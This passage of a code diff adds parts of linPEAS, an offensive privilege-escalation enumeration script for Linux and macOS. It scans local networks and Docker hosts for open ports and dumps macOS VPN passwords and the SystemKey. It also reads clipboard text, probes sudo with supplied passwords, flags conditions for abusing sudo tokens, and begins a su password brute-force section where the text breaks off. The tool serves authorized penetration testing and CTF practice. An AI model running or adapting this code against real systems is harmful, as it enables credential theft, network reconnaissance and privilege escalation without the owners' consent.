||||
perms="${perms} - Can Connect"
|
||||
else
|
||||
perms="${perms} - Cannot Connect"
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
||||
else
|
||||
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
||||
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
|
||||
# Try to contact the socket
|
||||
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
||||
if [ $? -eq 0 ]; then
|
||||
owner=$(ls -l "$s" | cut -d ' ' -f 3)
|
||||
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||
echo "$socketcurl" | head -n 30
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) Writable and weak policies in D-Bus config files
|
||||
print_2title "D-Bus config files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
if [ "$PSTORAGE_DBUS" ]; then
|
||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||
for f in $d/*; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
|
||||
genpol=$(grep "<policy>" "$f" 2>/dev/null)
|
||||
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
|
||||
|
||||
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#for g in `groups`; do
|
||||
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
|
||||
#done
|
||||
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
|
||||
#TODO: identify allows in context="default"
|
||||
done
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "D-Bus Service Objects list"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
dbuslist=$(busctl list 2>/dev/null)
|
||||
if [ "$dbuslist" ]; then
|
||||
busctl list | while read line; do
|
||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||
srvc_object=$(echo $line | cut -d " " -f1)
|
||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||
if [ "$srvc_object_info" ]; then
|
||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
else echo_not_found "busctl"
|
||||
fi
|
||||
fi
|
||||
192
linPEAS/builder/linpeas_parts/5_network_information.sh
Normal file
192
linPEAS/builder/linpeas_parts/5_network_information.sh
Normal file
@@ -0,0 +1,192 @@
|
||||
###########################################
|
||||
#---------) Network Information (---------#
|
||||
###########################################
|
||||
|
||||
if [ "$MACOS" ]; then
|
||||
print_2title "Network Capabilities"
|
||||
warn_exec system_profiler SPNetworkDataType
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- NI) Hostname, hosts and DNS
|
||||
print_2title "Hostname, hosts and DNS"
|
||||
cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null
|
||||
warn_exec dnsdomainname 2>/dev/null
|
||||
echo ""
|
||||
|
||||
#-- NI) /etc/inetd.conf
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf"
|
||||
(cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- NI) Interfaces
|
||||
print_2title "Interfaces"
|
||||
cat /etc/networks 2>/dev/null
|
||||
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
|
||||
echo ""
|
||||
|
||||
#-- NI) Neighbours
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Networks and neighbours"
|
||||
if [ "$MACOS" ]; then
|
||||
netstat -rn 2>/dev/null
|
||||
else
|
||||
(route || ip n || cat /proc/net/route) 2>/dev/null
|
||||
fi
|
||||
(arp -e || arp -a || cat /proc/net/arp) 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Firewall status"
|
||||
warn_exec system_profiler SPFirewallDataType
|
||||
fi
|
||||
|
||||
#-- NI) Iptables
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Iptables rules"
|
||||
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- NI) Ports
|
||||
print_2title "Active Ports"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
#-- NI) MacOS hardware ports
|
||||
if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Hardware Ports"
|
||||
networksetup -listallhardwareports
|
||||
echo ""
|
||||
|
||||
print_2title "VLANs"
|
||||
networksetup -listVLANs
|
||||
echo ""
|
||||
|
||||
print_2title "Wifi Info"
|
||||
networksetup -getinfo Wi-Fi
|
||||
echo ""
|
||||
|
||||
print_2title "Check Enabled Proxies"
|
||||
scutil --proxy
|
||||
echo ""
|
||||
|
||||
print_2title "Wifi Proxy URL"
|
||||
networksetup -getautoproxyurl Wi-Fi
|
||||
echo ""
|
||||
|
||||
print_2title "Wifi Web Proxy"
|
||||
networksetup -getwebproxy Wi-Fi
|
||||
echo ""
|
||||
|
||||
print_2title "Wifi FTP Proxy"
|
||||
networksetup -getftpproxy Wi-Fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- NI) tcpdump
|
||||
print_2title "Can I sniff with tcpdump?"
|
||||
timeout 1 tcpdump >/dev/null 2>&1
|
||||
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
|
||||
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- NI) Internet access
|
||||
if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
||||
print_2title "Internet Access?"
|
||||
check_tcp_80 2>/dev/null &
|
||||
check_tcp_443 2>/dev/null &
|
||||
check_icmp 2>/dev/null &
|
||||
check_dns 2>/dev/null &
|
||||
wait
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
|
||||
printf $RED"[-] $SCAN_BAN_BAD\n$NC"
|
||||
echo "The network is not going to be scanned..."
|
||||
|
||||
elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
|
||||
printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
|
||||
echo "The network is not going to be scanned..."
|
||||
|
||||
else
|
||||
print_2title "Scanning local networks (using /24)"
|
||||
|
||||
if ! [ "$PING" ] && ! [ "$FPING" ]; then
|
||||
printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
|
||||
fi
|
||||
|
||||
select_nc
|
||||
local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
|
||||
printf "%s\n" "$local_ips" | while read local_ip; do
|
||||
if ! [ -z "$local_ip" ]; then
|
||||
print_3title "Discovering hosts in $local_ip/24"
|
||||
|
||||
if [ "$PING" ] || [ "$FPING" ]; then
|
||||
discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp
|
||||
fi
|
||||
|
||||
discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp
|
||||
|
||||
sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips
|
||||
rm $Wfolder/.ips.tmp 2>/dev/null
|
||||
|
||||
while read disc_ip; do
|
||||
me=""
|
||||
if [ "$disc_ip" = "$local_ip" ]; then
|
||||
me=" (local)"
|
||||
fi
|
||||
|
||||
echo "Scanning top ports of ${disc_ip}${me}"
|
||||
(tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
|
||||
echo ""
|
||||
done < $Wfolder/.ips
|
||||
|
||||
rm $Wfolder/.ips 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
|
||||
print_3title "Scanning top ports of host.docker.internal"
|
||||
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$MACOS" ]; then
|
||||
print_2title "Any MacOS Sharing Service Enabled?"
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l);
|
||||
rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l);
|
||||
rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
||||
bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||
echo ""
|
||||
print_2title "VPN Creds"
|
||||
system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Bluetooth Info"
|
||||
warn_exec system_profiler SPBluetoothDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Ethernet Info"
|
||||
warn_exec system_profiler SPEthernetDataType
|
||||
echo ""
|
||||
|
||||
print_2title "USB Info"
|
||||
warn_exec system_profiler SPUSBDataType
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
232
linPEAS/builder/linpeas_parts/6_users_information.sh
Normal file
232
linPEAS/builder/linpeas_parts/6_users_information.sh
Normal file
@@ -0,0 +1,232 @@
|
||||
###########################################
|
||||
#----------) Users Information (----------#
|
||||
###########################################
|
||||
|
||||
#-- UI) My user
|
||||
print_2title "My user"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
|
||||
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ];then
|
||||
print_2title "Current user Login and Logout hooks"
|
||||
defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
|
||||
echo ""
|
||||
|
||||
print_2title "All Login and Logout hooks"
|
||||
defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
|
||||
defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist
|
||||
echo ""
|
||||
|
||||
print_2title "Keychains"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker"
|
||||
security list-keychains
|
||||
echo ""
|
||||
|
||||
print_2title "SystemKey"
|
||||
ls -l /var/db/SystemKey
|
||||
if [ -r "/var/db/SystemKey" ]; then
|
||||
echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- UI) PGP keys?
|
||||
print_2title "Do I have PGP keys?"
|
||||
command -v gpg 2>/dev/null || echo_not_found "gpg"
|
||||
gpg --list-keys 2>/dev/null
|
||||
command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys"
|
||||
netpgpkeys --list-keys 2>/dev/null
|
||||
command -v netpgp 2>/dev/null || echo_not_found "netpgp"
|
||||
echo ""
|
||||
|
||||
#-- UI) Clipboard and highlighted text
|
||||
if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Clipboard or highlighted text?"
|
||||
if [ "$(command -v xclip 2>/dev/null)" ]; then
|
||||
echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
elif [ "$(command -v xsel 2>/dev/null)" ]; then
|
||||
echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
elif [ "$(command -v pbpaste 2>/dev/null)" ]; then
|
||||
echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
else echo_not_found "xsel and xclip"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- UI) Sudo -l
|
||||
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
|
||||
if [ "$PASSWORD" ]; then
|
||||
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
|
||||
fi
|
||||
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
|
||||
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
||||
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
fi
|
||||
for filename in /etc/sudoers.d/*; do
|
||||
if [ -r "$filename" ]; then
|
||||
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
#-- UI) Sudo tokens
|
||||
print_2title "Checking sudo tokens"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
|
||||
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
|
||||
|
||||
if [ "$(command -v gdb 2>/dev/null)" ]; then
|
||||
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||
fi
|
||||
|
||||
if [ "$CURRENT_USER_PIVOT_PID" ]; then
|
||||
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
|
||||
fi
|
||||
|
||||
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
|
||||
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
|
||||
fi
|
||||
|
||||
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
|
||||
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
|
||||
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
|
||||
fi
|
||||
|
||||
else
|
||||
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- UI) Doas
|
||||
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking doas.conf"
|
||||
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
|
||||
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
|
||||
cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
|
||||
else echo_not_found "doas.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- UI) Pkexec policy
|
||||
print_2title "Checking Pkexec policy"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
|
||||
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
|
||||
echo ""
|
||||
|
||||
#-- UI) Superusers
|
||||
print_2title "Superusers"
|
||||
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
#-- UI) Users with console
|
||||
print_2title "Users with console"
|
||||
if [ "$MACPEAS" ]; then
|
||||
dscl . list /Users | while read uname; do
|
||||
ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
|
||||
if grep -q "$ushell" /etc/shells; then #Shell user
|
||||
dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
else
|
||||
no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)
|
||||
unexpected_shells=""
|
||||
printf "%s\n" "$no_shells" | while read f; do
|
||||
if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then
|
||||
unexpected_shells="$f\n$unexpected_shells"
|
||||
fi
|
||||
done
|
||||
grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
if [ "$unexpected_shells" ]; then
|
||||
printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g"
|
||||
echo "Unexpected users with shells:"
|
||||
printf "%s\n" "$unexpected_shells" | while read f; do
|
||||
if [ "$f" ]; then
|
||||
grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- UI) All users & groups
|
||||
print_2title "All users & groups"
|
||||
if [ "$MACPEAS" ]; then
|
||||
dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
|
||||
else
|
||||
cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- UI) Login now
|
||||
print_2title "Login now"
|
||||
(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
#-- UI) Last logons
|
||||
print_2title "Last logons"
|
||||
(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
#-- UI) Login info
|
||||
print_2title "Last time logon each user"
|
||||
lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
|
||||
EXISTS_FINGER="$(command -v finger 2>/dev/null)"
|
||||
if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then
|
||||
dscl . list /Users | while read uname; do
|
||||
ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
|
||||
if grep -q "$ushell" /etc/shells; then #Shell user
|
||||
finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- UI) Password policy
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Password policy"
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs"
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Relevant last user info and user configs"
|
||||
defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Guest user status"
|
||||
sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
|
||||
sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
|
||||
sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
#-- UI) Brute su
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
|
||||
